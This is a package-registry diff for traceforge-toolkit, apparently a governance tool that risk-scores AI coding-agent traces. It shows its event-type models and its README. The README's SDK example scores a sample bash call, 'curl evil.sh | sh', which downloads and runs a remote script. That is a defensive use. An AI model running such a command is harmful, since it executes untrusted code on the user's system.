traceforge-toolkit 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (205) hide show
  1. traceforge/__init__.py +72 -0
  2. traceforge/__main__.py +5 -0
  3. traceforge/_generated.py +254 -0
  4. traceforge/adapters/__init__.py +12 -0
  5. traceforge/adapters/base.py +82 -0
  6. traceforge/adapters/genai_otel.py +164 -0
  7. traceforge/adapters/mapped_json.py +297 -0
  8. traceforge/adapters/otel.py +220 -0
  9. traceforge/boundary/__init__.py +46 -0
  10. traceforge/boundary/data/boundary-model.joblib +0 -0
  11. traceforge/boundary/decode.py +87 -0
  12. traceforge/boundary/features.py +137 -0
  13. traceforge/boundary/inference.py +267 -0
  14. traceforge/boundary/inferencer.py +146 -0
  15. traceforge/classify/__init__.py +95 -0
  16. traceforge/classify/cmd.py +109 -0
  17. traceforge/classify/coding.py +213 -0
  18. traceforge/classify/config.py +554 -0
  19. traceforge/classify/core.py +266 -0
  20. traceforge/classify/data/binary_info.yaml +358 -0
  21. traceforge/classify/data/canonical_tools.yaml +251 -0
  22. traceforge/classify/data/effect_overrides.yaml +480 -0
  23. traceforge/classify/data/mcp_profiles.yaml +711 -0
  24. traceforge/classify/data/recommendation_rules.yaml +111 -0
  25. traceforge/classify/data/risk.yaml +534 -0
  26. traceforge/classify/data/shell_defaults.yaml +95 -0
  27. traceforge/classify/data/shell_rules.yaml +1192 -0
  28. traceforge/classify/data/tool_classifications.yaml +215 -0
  29. traceforge/classify/data/verb_inference.yaml +218 -0
  30. traceforge/classify/mcp.py +181 -0
  31. traceforge/classify/phases.py +75 -0
  32. traceforge/classify/powershell.py +93 -0
  33. traceforge/classify/registry.py +138 -0
  34. traceforge/classify/risk.py +553 -0
  35. traceforge/classify/rules.py +215 -0
  36. traceforge/classify/schema.yaml +282 -0
  37. traceforge/classify/shell.py +503 -0
  38. traceforge/classify/tools.py +91 -0
  39. traceforge/classify/workflow.py +32 -0
  40. traceforge/cli/__init__.py +42 -0
  41. traceforge/cli/config_cmd.py +130 -0
  42. traceforge/cli/detect.py +46 -0
  43. traceforge/cli/download_cmd.py +74 -0
  44. traceforge/cli/factory.py +60 -0
  45. traceforge/cli/gate_cmd.py +30 -0
  46. traceforge/cli/init_cmd.py +86 -0
  47. traceforge/cli/replay.py +130 -0
  48. traceforge/cli/runner.py +181 -0
  49. traceforge/cli/score.py +217 -0
  50. traceforge/cli/status.py +65 -0
  51. traceforge/cli/watch.py +297 -0
  52. traceforge/config/__init__.py +80 -0
  53. traceforge/config/defaults.py +149 -0
  54. traceforge/config/loader.py +239 -0
  55. traceforge/config/mappings.py +104 -0
  56. traceforge/config/models.py +579 -0
  57. traceforge/enricher.py +576 -0
  58. traceforge/formatting/__init__.py +12 -0
  59. traceforge/formatting/budget.py +92 -0
  60. traceforge/formatting/density.py +154 -0
  61. traceforge/gate/__init__.py +17 -0
  62. traceforge/gate/client.py +145 -0
  63. traceforge/gate/external.py +305 -0
  64. traceforge/gate/registry.py +108 -0
  65. traceforge/gate/server.py +174 -0
  66. traceforge/gates/__init__.py +8 -0
  67. traceforge/gates/pii.py +352 -0
  68. traceforge/gates/pii_patterns.yaml +228 -0
  69. traceforge/governance/__init__.py +121 -0
  70. traceforge/governance/assessor.py +441 -0
  71. traceforge/governance/budget.py +59 -0
  72. traceforge/governance/canonical.py +56 -0
  73. traceforge/governance/codec.py +414 -0
  74. traceforge/governance/context.py +249 -0
  75. traceforge/governance/drift.py +196 -0
  76. traceforge/governance/emitter.py +234 -0
  77. traceforge/governance/envelope.py +138 -0
  78. traceforge/governance/ifc.py +364 -0
  79. traceforge/governance/integrity.py +162 -0
  80. traceforge/governance/labeler.py +250 -0
  81. traceforge/governance/mcp_drift.py +328 -0
  82. traceforge/governance/monitor.py +539 -0
  83. traceforge/governance/observer.py +276 -0
  84. traceforge/governance/persistence.py +401 -0
  85. traceforge/governance/phase1.py +77 -0
  86. traceforge/governance/pii.py +276 -0
  87. traceforge/governance/pipeline.py +840 -0
  88. traceforge/governance/registry.py +110 -0
  89. traceforge/governance/results.py +183 -0
  90. traceforge/governance/risk_wrapper.py +113 -0
  91. traceforge/governance/rules.py +368 -0
  92. traceforge/governance/scorer.py +262 -0
  93. traceforge/governance/shield.py +318 -0
  94. traceforge/governance/state.py +466 -0
  95. traceforge/governance/types.py +176 -0
  96. traceforge/mappings/__init__.py +1 -0
  97. traceforge/mappings/aider.yaml +216 -0
  98. traceforge/mappings/aider_markdown.yaml +113 -0
  99. traceforge/mappings/amazonq.yaml +56 -0
  100. traceforge/mappings/antigravity.yaml +88 -0
  101. traceforge/mappings/claude.yaml +93 -0
  102. traceforge/mappings/cline.yaml +286 -0
  103. traceforge/mappings/codex.yaml +158 -0
  104. traceforge/mappings/continue_dev.yaml +57 -0
  105. traceforge/mappings/copilot.yaml +266 -0
  106. traceforge/mappings/copilot_markdown.yaml +72 -0
  107. traceforge/mappings/copilot_vscode.yaml +181 -0
  108. traceforge/mappings/crewai.yaml +592 -0
  109. traceforge/mappings/goose.yaml +128 -0
  110. traceforge/mappings/langgraph.yaml +165 -0
  111. traceforge/mappings/maf.yaml +90 -0
  112. traceforge/mappings/maf_transcript.yaml +99 -0
  113. traceforge/mappings/openai_agents.yaml +144 -0
  114. traceforge/mappings/opencode.yaml +473 -0
  115. traceforge/mappings/openhands.yaml +320 -0
  116. traceforge/mappings/pydantic_ai.yaml +183 -0
  117. traceforge/mappings/smolagents.yaml +89 -0
  118. traceforge/mappings/sweagent.yaml +82 -0
  119. traceforge/migrations/__init__.py +1 -0
  120. traceforge/migrations/env.py +60 -0
  121. traceforge/migrations/models.py +145 -0
  122. traceforge/migrations/runner.py +44 -0
  123. traceforge/migrations/script.py.mako +25 -0
  124. traceforge/migrations/versions/0001_initial.py +176 -0
  125. traceforge/migrations/versions/__init__.py +4 -0
  126. traceforge/models.py +29 -0
  127. traceforge/parsers/__init__.py +21 -0
  128. traceforge/parsers/aider.py +416 -0
  129. traceforge/parsers/base.py +226 -0
  130. traceforge/parsers/copilot.py +314 -0
  131. traceforge/phase/__init__.py +50 -0
  132. traceforge/phase/data/phase-model.joblib +0 -0
  133. traceforge/phase/data/potion-base-8M/README.md +99 -0
  134. traceforge/phase/data/potion-base-8M/config.json +13 -0
  135. traceforge/phase/data/potion-base-8M/model.safetensors +0 -0
  136. traceforge/phase/data/potion-base-8M/modules.json +14 -0
  137. traceforge/phase/data/potion-base-8M/tokenizer.json +1 -0
  138. traceforge/phase/event_rows.py +107 -0
  139. traceforge/phase/features.py +468 -0
  140. traceforge/phase/inference.py +279 -0
  141. traceforge/phase/inferencer.py +171 -0
  142. traceforge/phase/segmentation.py +258 -0
  143. traceforge/pipeline.py +891 -0
  144. traceforge/preprocessors/__init__.py +34 -0
  145. traceforge/preprocessors/amazonq.py +224 -0
  146. traceforge/preprocessors/antigravity.py +116 -0
  147. traceforge/preprocessors/claude.py +95 -0
  148. traceforge/preprocessors/cline.py +36 -0
  149. traceforge/preprocessors/codex.py +311 -0
  150. traceforge/preprocessors/continue_dev.py +119 -0
  151. traceforge/preprocessors/copilot_vscode.py +171 -0
  152. traceforge/preprocessors/goose.py +156 -0
  153. traceforge/preprocessors/maf_transcript.py +84 -0
  154. traceforge/preprocessors/openai_agents.py +86 -0
  155. traceforge/preprocessors/opencode.py +85 -0
  156. traceforge/preprocessors/openhands.py +36 -0
  157. traceforge/preprocessors/pydantic_ai.py +62 -0
  158. traceforge/preprocessors/registry.py +24 -0
  159. traceforge/preprocessors/smolagents.py +90 -0
  160. traceforge/py.typed +0 -0
  161. traceforge/sdk/__init__.py +59 -0
  162. traceforge/sdk/gate_policy.py +63 -0
  163. traceforge/sdk/gate_types.py +140 -0
  164. traceforge/sdk/pipeline.py +265 -0
  165. traceforge/sdk/verdict.py +81 -0
  166. traceforge/sinks/__init__.py +23 -0
  167. traceforge/sinks/base.py +95 -0
  168. traceforge/sinks/callback.py +132 -0
  169. traceforge/sinks/console.py +112 -0
  170. traceforge/sinks/factory.py +94 -0
  171. traceforge/sinks/jsonl.py +125 -0
  172. traceforge/sinks/otel_exporter.py +212 -0
  173. traceforge/sinks/parquet.py +260 -0
  174. traceforge/sinks/s3.py +206 -0
  175. traceforge/sinks/sqlite_output.py +234 -0
  176. traceforge/sinks/webhook.py +136 -0
  177. traceforge/sources/__init__.py +18 -0
  178. traceforge/sources/auto_detect.py +173 -0
  179. traceforge/sources/base.py +45 -0
  180. traceforge/sources/file_poll.py +136 -0
  181. traceforge/sources/file_watch.py +221 -0
  182. traceforge/sources/http_poll.py +141 -0
  183. traceforge/sources/replay.py +63 -0
  184. traceforge/sources/sqlite.py +187 -0
  185. traceforge/sources/sse.py +198 -0
  186. traceforge/telemetry/__init__.py +192 -0
  187. traceforge/title/__init__.py +23 -0
  188. traceforge/title/_resolve.py +79 -0
  189. traceforge/title/context.py +295 -0
  190. traceforge/title/data/boilerplate_files.json +14 -0
  191. traceforge/title/heuristics.py +429 -0
  192. traceforge/title/hygiene.py +90 -0
  193. traceforge/title/inference.py +314 -0
  194. traceforge/title/inferencer.py +477 -0
  195. traceforge/title/naming.py +398 -0
  196. traceforge/trace.py +291 -0
  197. traceforge/tracking/__init__.py +30 -0
  198. traceforge/tracking/models.py +115 -0
  199. traceforge/tracking/phase_tracker.py +288 -0
  200. traceforge/types.py +315 -0
  201. traceforge_toolkit-0.1.0.dist-info/METADATA +188 -0
  202. traceforge_toolkit-0.1.0.dist-info/RECORD +205 -0
  203. traceforge_toolkit-0.1.0.dist-info/WHEEL +4 -0
  204. traceforge_toolkit-0.1.0.dist-info/entry_points.txt +2 -0
  205. traceforge_toolkit-0.1.0.dist-info/licenses/LICENSE +21 -0
traceforge/types.py ADDED
@@ -0,0 +1,315 @@
1
+ """Core types for the traceforge event pipeline.
2
+
3
+ EventKind uses an open string registry with dot-notation grammar:
4
+ <domain>[.<object>].<phase>
5
+
6
+ Any string is a valid kind (forward-compatible), but canonical kinds are
7
+ defined as constants for autocomplete, documentation, and filtering.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ import uuid
13
+ from datetime import datetime
14
+ from typing import Any, Final, Literal
15
+
16
+ from pydantic import Field, field_validator
17
+
18
+ from traceforge.classify.core import Classification
19
+ from traceforge.classify.workflow import Phase, Visibility
20
+ from traceforge.governance.results import SessionMeta
21
+ from traceforge.models import FrozenModel
22
+
23
+
24
+ # ─── EventKind: Open String Registry ────────────────────────────────────────
25
+ #
26
+ # Grammar: <domain>[.<object>].<phase>
27
+ # Phases: started, completed, failed, chunk, progress, requested, received,
28
+ # granted, denied, created, restored, skipped
29
+
30
+
31
+ class EventKind:
32
+ """Known canonical event kinds. Any string is valid as a kind value."""
33
+
34
+ # --- Session lifecycle ---
35
+ SESSION_STARTED: Final = "session.started"
36
+ SESSION_ENDED: Final = "session.ended"
37
+ SESSION_PAUSED: Final = "session.paused"
38
+ SESSION_RESUMED: Final = "session.resumed"
39
+ SESSION_IDLE: Final = "session.idle"
40
+ SESSION_INFO: Final = "session.info"
41
+ SESSION_WARNING: Final = "session.warning"
42
+
43
+ # --- Turn/step lifecycle ---
44
+ TURN_STARTED: Final = "turn.started"
45
+ TURN_ENDED: Final = "turn.ended"
46
+ TURN_SKIPPED: Final = "turn.skipped"
47
+
48
+ # --- Messages ---
49
+ MESSAGE_USER: Final = "message.user"
50
+ MESSAGE_ASSISTANT: Final = "message.assistant"
51
+ MESSAGE_SYSTEM: Final = "message.system"
52
+ MESSAGE_ASSISTANT_CHUNK: Final = "message.assistant.chunk"
53
+
54
+ # --- Tool lifecycle ---
55
+ TOOL_CALL_STARTED: Final = "tool.call.started"
56
+ TOOL_CALL_COMPLETED: Final = "tool.call.completed"
57
+ TOOL_CALL_FAILED: Final = "tool.call.failed"
58
+ TOOL_RESULT_CHUNK: Final = "tool.result.chunk"
59
+ TOOL_OUTPUT: Final = "tool.output"
60
+ TOOL_PROGRESS: Final = "tool.progress"
61
+ TOOL_VALIDATION_FAILED: Final = "tool.validation.failed"
62
+
63
+ # --- LLM call lifecycle ---
64
+ LLM_CALL_STARTED: Final = "llm.call.started"
65
+ LLM_CALL_COMPLETED: Final = "llm.call.completed"
66
+ LLM_CALL_FAILED: Final = "llm.call.failed"
67
+ LLM_OUTPUT_CHUNK: Final = "llm.output.chunk"
68
+ LLM_THINKING_CHUNK: Final = "llm.thinking.chunk"
69
+
70
+ # --- Planning / reasoning ---
71
+ PLANNING_STARTED: Final = "planning.started"
72
+ PLANNING_COMPLETED: Final = "planning.completed"
73
+ PLANNING_FAILED: Final = "planning.failed"
74
+ REASONING_STARTED: Final = "reasoning.started"
75
+ REASONING_COMPLETED: Final = "reasoning.completed"
76
+
77
+ # --- Agent orchestration ---
78
+ AGENT_SPAWNED: Final = "agent.spawned"
79
+ AGENT_COMPLETED: Final = "agent.completed"
80
+ AGENT_FAILED: Final = "agent.failed"
81
+ AGENT_HANDOFF: Final = "agent.handoff"
82
+
83
+ # --- File operations ---
84
+ FILE_CREATED: Final = "file.created"
85
+ FILE_EDITED: Final = "file.edited"
86
+ FILE_DELETED: Final = "file.deleted"
87
+ FILE_READ: Final = "file.read"
88
+
89
+ # --- Command/shell execution ---
90
+ COMMAND_STARTED: Final = "command.started"
91
+ COMMAND_OUTPUT: Final = "command.output"
92
+ COMMAND_COMPLETED: Final = "command.completed"
93
+ COMMAND_FAILED: Final = "command.failed"
94
+
95
+ # --- MCP protocol (connection-level, not tool calls) ---
96
+ MCP_CONNECTION_STARTED: Final = "mcp.connection.started"
97
+ MCP_CONNECTION_COMPLETED: Final = "mcp.connection.completed"
98
+ MCP_CONNECTION_FAILED: Final = "mcp.connection.failed"
99
+
100
+ # --- Hook lifecycle ---
101
+ HOOK_STARTED: Final = "hook.started"
102
+ HOOK_COMPLETED: Final = "hook.completed"
103
+ HOOK_FAILED: Final = "hook.failed"
104
+
105
+ # --- Permission / approval ---
106
+ PERMISSION_REQUESTED: Final = "permission.requested"
107
+ PERMISSION_GRANTED: Final = "permission.granted"
108
+ PERMISSION_DENIED: Final = "permission.denied"
109
+
110
+ # --- Human-in-the-loop input ---
111
+ INPUT_REQUESTED: Final = "input.requested"
112
+ INPUT_RECEIVED: Final = "input.received"
113
+
114
+ # --- Checkpoint / snapshot ---
115
+ CHECKPOINT_CREATED: Final = "checkpoint.created"
116
+ CHECKPOINT_RESTORED: Final = "checkpoint.restored"
117
+
118
+ # --- Memory operations ---
119
+ MEMORY_QUERY_STARTED: Final = "memory.query.started"
120
+ MEMORY_QUERY_COMPLETED: Final = "memory.query.completed"
121
+ MEMORY_SAVE_STARTED: Final = "memory.save.started"
122
+ MEMORY_SAVE_COMPLETED: Final = "memory.save.completed"
123
+
124
+ # --- Knowledge / RAG retrieval ---
125
+ KNOWLEDGE_QUERY_STARTED: Final = "knowledge.query.started"
126
+ KNOWLEDGE_QUERY_COMPLETED: Final = "knowledge.query.completed"
127
+
128
+ # --- Browser actions ---
129
+ BROWSER_LAUNCHED: Final = "browser.launched"
130
+ BROWSER_ACTION: Final = "browser.action"
131
+ BROWSER_RESULT: Final = "browser.result"
132
+
133
+ # --- Guardrail / safety ---
134
+ GUARDRAIL_STARTED: Final = "guardrail.started"
135
+ GUARDRAIL_PASSED: Final = "guardrail.passed"
136
+ GUARDRAIL_FAILED: Final = "guardrail.failed"
137
+
138
+ # --- Skill invocation ---
139
+ SKILL_INVOKED: Final = "skill.invoked"
140
+
141
+ # --- Workflow / task graph ---
142
+ WORKFLOW_STARTED: Final = "workflow.started"
143
+ WORKFLOW_COMPLETED: Final = "workflow.completed"
144
+ WORKFLOW_FAILED: Final = "workflow.failed"
145
+ TASK_STARTED: Final = "task.started"
146
+ TASK_COMPLETED: Final = "task.completed"
147
+ TASK_FAILED: Final = "task.failed"
148
+
149
+ # --- Telemetry ---
150
+ USAGE: Final = "telemetry.usage"
151
+ ERROR: Final = "session.error"
152
+ ABORT: Final = "session.abort"
153
+
154
+ # --- Catch-all ---
155
+ RAW: Final = "raw"
156
+
157
+
158
+ # Registry of all canonical kinds for validation/filtering
159
+ KNOWN_KINDS: frozenset[str] = frozenset(
160
+ v for k, v in vars(EventKind).items() if k.isupper() and isinstance(v, str)
161
+ )
162
+
163
+
164
+ def is_known_kind(kind: str) -> bool:
165
+ """Check if a kind string is in the canonical registry."""
166
+ return kind in KNOWN_KINDS
167
+
168
+
169
+ # ─── Ingestion Mode ──────────────────────────────────────────────────────────
170
+
171
+ IngestionMode = Literal["stream", "file_watch", "poll", "replay", "sqlite"]
172
+
173
+
174
+ # ─── Event Metadata ──────────────────────────────────────────────────────────
175
+
176
+
177
+ def _uuid4_str() -> str:
178
+ return str(uuid.uuid4())
179
+
180
+
181
+ class ToolMotivation(FrozenModel):
182
+ """Composite motivation context for a tool call event.
183
+
184
+ Captures the agent's reasoning chain leading to this tool invocation:
185
+ - intent: the most recent plan/statement (short, actionable)
186
+ - reasoning: accumulated reasoning/thinking/CoT text
187
+ - source_event_ids: ALL motivation event IDs up to this point in the session,
188
+ enabling full chain resolution for deep analysis
189
+ """
190
+
191
+ intent: str | None = None
192
+ reasoning: str | None = None
193
+ source_event_ids: tuple[str, ...] = Field(default_factory=tuple)
194
+
195
+
196
+ class EventMetadata(FrozenModel):
197
+ """Contextual information attached to every event."""
198
+
199
+ # --- Source provenance ---
200
+ source_framework: str | None = None # "copilot", "claude", "aider", "cline", etc.
201
+ ingestion_mode: IngestionMode | None = None
202
+ raw_kind: str | None = None # original framework-specific event type
203
+
204
+ # --- Correlation ---
205
+ span_id: str | None = None # unique ID for this lifecycle span
206
+ parent_id: str | None = None # links child events to parent
207
+ correlation_id: str | None = None # groups related events
208
+ run_id: str | None = None # top-level run/session identifier
209
+
210
+ # --- Ordering ---
211
+ sequence: int | None = None # monotonic ordering within a stream
212
+ namespace: tuple[str, ...] | None = None # scope path (subgraph, subagent)
213
+ partial: bool = False # True if this is a streaming chunk
214
+
215
+ repo: str | None = None
216
+ turn_id: str | None = None
217
+ visibility: Visibility = Visibility.VISIBLE
218
+ phases: frozenset[Phase] | None = None
219
+ phase: Phase | None = None # session-aware workflow stage from the phase classifier
220
+ # Segment-opening boundary stamped live by the boundary classifier: set on the
221
+ # event that *opens* a new activity/step ("activity-boundary"/"step-boundary");
222
+ # None for events that continue the current segment. See traceforge.boundary.
223
+ boundary: str | None = None
224
+ # Stable structural ids assigned live the instant a segment opens (the id is
225
+ # the opening event's id). Every event in a segment carries its activity/step
226
+ # id immediately, decoupling "structure is known now" from "title arrives
227
+ # later": titles are published as append-only TitleUpdate records keyed by
228
+ # these ids once a segment closes. See traceforge.title.
229
+ activity_id: str | None = None
230
+ step_id: str | None = None
231
+ # Activity/step span titles. In the live path these stay None — the title
232
+ # arrives out-of-band as a TitleUpdate keyed by activity_id/step_id. They are
233
+ # the denormalized form a batch sink may materialize by folding TitleUpdates
234
+ # back onto events at replay. See traceforge.title.
235
+ activity_title: str | None = None
236
+ step_title: str | None = None
237
+ classification: Classification | None = None
238
+ tool_display: str | None = None
239
+ motivation: ToolMotivation | None = None
240
+ duration_ms: float | None = None
241
+
242
+ # --- Governance (populated by enrichment pipeline before sink emission) ---
243
+ governance: SessionMeta | None = None
244
+
245
+ @field_validator("duration_ms")
246
+ @classmethod
247
+ def _duration_non_negative(cls, v: float | None) -> float | None:
248
+ if v is not None and v < 0:
249
+ raise ValueError("duration_ms must be non-negative")
250
+ return v
251
+
252
+
253
+ # ─── Session Event ───────────────────────────────────────────────────────────
254
+
255
+
256
+ class SessionEvent(FrozenModel):
257
+ """The universal event type. Every adapter produces these."""
258
+
259
+ id: str = Field(default_factory=_uuid4_str)
260
+ kind: str # Open string — use EventKind constants for canonical kinds
261
+ session_id: str
262
+ timestamp: datetime
263
+ payload: dict[str, Any]
264
+ raw_event: dict[str, Any] | None = None # Original event data, verbatim
265
+ metadata: EventMetadata = Field(default_factory=EventMetadata)
266
+
267
+
268
+ # ─── Telemetry Span ──────────────────────────────────────────────────────────
269
+
270
+
271
+ class TelemetrySpan(FrozenModel):
272
+ name: str
273
+ session_id: str
274
+ start_time: datetime
275
+ end_time: datetime
276
+ attributes: dict[str, Any] = Field(default_factory=dict)
277
+
278
+
279
+ # ─── Usage Record ────────────────────────────────────────────────────────────
280
+
281
+
282
+ class UsageRecord(FrozenModel):
283
+ session_id: str
284
+ timestamp: datetime
285
+ model: str
286
+ input_tokens: int = Field(ge=0)
287
+ output_tokens: int = Field(ge=0)
288
+ cost_usd: float | None = Field(default=None, ge=0)
289
+
290
+
291
+ # ─── Title Update ────────────────────────────────────────────────────────────
292
+
293
+
294
+ class TitleUpdate(FrozenModel):
295
+ """An append-only title for a session / activity / step segment.
296
+
297
+ Events stream out immediately carrying their ``activity_id``/``step_id``; a
298
+ faithful title needs the whole segment, so it is computed when the segment
299
+ closes and published separately as one of these, keyed to the segment by
300
+ ``segment_id``. Consumers materialize the event→segment→title join in their
301
+ read model — the event log itself is never mutated. ``version`` lets a title
302
+ be revised (e.g. a provisional title refined on close) idempotently: keep the
303
+ highest version per ``segment_id``.
304
+
305
+ The ``session`` kind labels the whole session from its opening request; it is
306
+ keyed by ``segment_id == session_id`` (the session is the outermost segment),
307
+ emitted live the instant the first substantive user message arrives.
308
+ """
309
+
310
+ session_id: str
311
+ segment_id: str
312
+ kind: Literal["session", "activity", "step"]
313
+ title: str
314
+ version: int = Field(default=1, ge=1)
315
+ parent_id: str | None = None # a step's activity_id, so a flat stream can rebuild the tree
@@ -0,0 +1,188 @@
1
+ Metadata-Version: 2.4
2
+ Name: traceforge-toolkit
3
+ Version: 0.1.0
4
+ Summary: Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output
5
+ Project-URL: Homepage, https://github.com/dfinson/traceforge
6
+ Project-URL: Repository, https://github.com/dfinson/traceforge
7
+ Project-URL: Issues, https://github.com/dfinson/traceforge/issues
8
+ Project-URL: Changelog, https://github.com/dfinson/traceforge/releases
9
+ Author-email: David Finson <davidfinson@microsoft.com>
10
+ License-Expression: MIT
11
+ License-File: LICENSE
12
+ Keywords: agent,ai-agents,coding-agents,governance,llm,observability,risk-scoring,tracing
13
+ Classifier: Development Status :: 4 - Beta
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: Operating System :: OS Independent
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3 :: Only
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Classifier: Programming Language :: Python :: 3.13
21
+ Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
22
+ Classifier: Topic :: Software Development :: Quality Assurance
23
+ Classifier: Typing :: Typed
24
+ Requires-Python: <3.14,>=3.11
25
+ Requires-Dist: alembic>=1.13
26
+ Requires-Dist: click>=8.1
27
+ Requires-Dist: httpx>=0.25
28
+ Requires-Dist: joblib>=1.3
29
+ Requires-Dist: litellm>=1.0
30
+ Requires-Dist: model2vec>=0.8.2
31
+ Requires-Dist: numpy>=1.24
32
+ Requires-Dist: onnxruntime>=1.17
33
+ Requires-Dist: pyarrow>=15
34
+ Requires-Dist: pydantic>=2.0
35
+ Requires-Dist: pyyaml>=6.0
36
+ Requires-Dist: scikit-learn>=1.5
37
+ Requires-Dist: scipy>=1.11
38
+ Requires-Dist: sqlalchemy>=2.0
39
+ Requires-Dist: tokenizers>=0.15
40
+ Requires-Dist: traceforge-title-model>=0.2
41
+ Requires-Dist: tree-sitter-bash>=0.24
42
+ Requires-Dist: tree-sitter-markdown>=0.5
43
+ Requires-Dist: tree-sitter-powershell>=0.24
44
+ Requires-Dist: tree-sitter>=0.24
45
+ Requires-Dist: tzdata>=2024.1; platform_system == 'Windows'
46
+ Requires-Dist: watchdog>=4.0
47
+ Provides-Extra: dev
48
+ Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
49
+ Requires-Dist: pytest>=8.0; extra == 'dev'
50
+ Requires-Dist: ruff==0.15.20; extra == 'dev'
51
+ Provides-Extra: s3
52
+ Requires-Dist: boto3>=1.28; extra == 's3'
53
+ Description-Content-Type: text/markdown
54
+
55
+ <div align="center">
56
+
57
+ <img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
58
+
59
+ **Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
60
+
61
+ [![Lint](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
62
+ [![Test](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
63
+ [![PyPI](https://img.shields.io/badge/PyPI-coming%20soon-FF9921)](https://pypi.org/project/traceforge/)
64
+ [![Python](https://img.shields.io/badge/python-3.11%20|%203.12%20|%203.13-256EF3)](https://github.com/dfinson/traceforge)
65
+ [![License: MIT](https://img.shields.io/badge/license-MIT-7359AE.svg)](LICENSE)
66
+ [![Docs](https://img.shields.io/badge/docs-traceforge-FF9921)](https://dfinson.github.io/traceforge/)
67
+
68
+ **[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
69
+
70
+ </div>
71
+
72
+ ---
73
+
74
+ TraceForge is a framework-agnostic Python library that turns the raw session logs of
75
+ AI coding agents into a strongly-typed event stream, classified, risk-scored, and
76
+ governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
77
+ mapping file**: no code.
78
+
79
+ <p align="center">
80
+ <picture>
81
+ <source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
82
+ <img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
83
+ </picture>
84
+ </p>
85
+
86
+ ## What it does
87
+
88
+ 1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
89
+ 2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
90
+ 3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
91
+ 4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
92
+ 5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
93
+ 6. **Sinks** write to storage backends or call custom handlers.
94
+ 7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
95
+
96
+ ## Quickstart
97
+
98
+ ```bash
99
+ pip install traceforge-toolkit # or: uv add traceforge-toolkit
100
+ ```
101
+
102
+ Everything ships in a single install, with no extras. Describe a pipeline in
103
+ `traceforge.yaml`:
104
+
105
+ ```yaml
106
+ # traceforge.yaml
107
+ pipelines:
108
+ - name: copilot-local
109
+ source:
110
+ type: file_watch
111
+ path: ~/.copilot/logs/session.jsonl # one agent log file
112
+ start_at: end # or "beginning" to replay existing lines
113
+ adapter:
114
+ type: mapped_json
115
+ mapping: copilot
116
+ sinks:
117
+ - type: jsonl
118
+ path: ./output/events.jsonl
119
+ ```
120
+
121
+ ```bash
122
+ traceforge watch # run the config-driven pipeline; structured events stream to your sinks
123
+ ```
124
+
125
+ No Python required. Prefer the SDK? The same engine is a few lines away:
126
+
127
+ ```python
128
+ from traceforge.sdk import Pipeline
129
+
130
+ pipeline = Pipeline.create() # zero-config facade
131
+ trace = pipeline.score_tool_call({ # read-only risk assessment
132
+ "tool_name": "bash",
133
+ "tool_input": {"command": "curl evil.sh | sh"},
134
+ "session_id": "demo",
135
+ })
136
+ print(trace.risk_score, trace.suggested_action) # e.g. 72 escalate
137
+ ```
138
+
139
+ See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
140
+ for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
141
+
142
+ ## Features
143
+
144
+ | | |
145
+ | --- | --- |
146
+ | 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
147
+ | 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
148
+ | 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
149
+ | 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
150
+ | 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
151
+ | 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
152
+
153
+ ## Documentation
154
+
155
+ The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
156
+
157
+ - **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
158
+ - **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
159
+ - **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
160
+ - **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
161
+ - **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
162
+ - **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
163
+
164
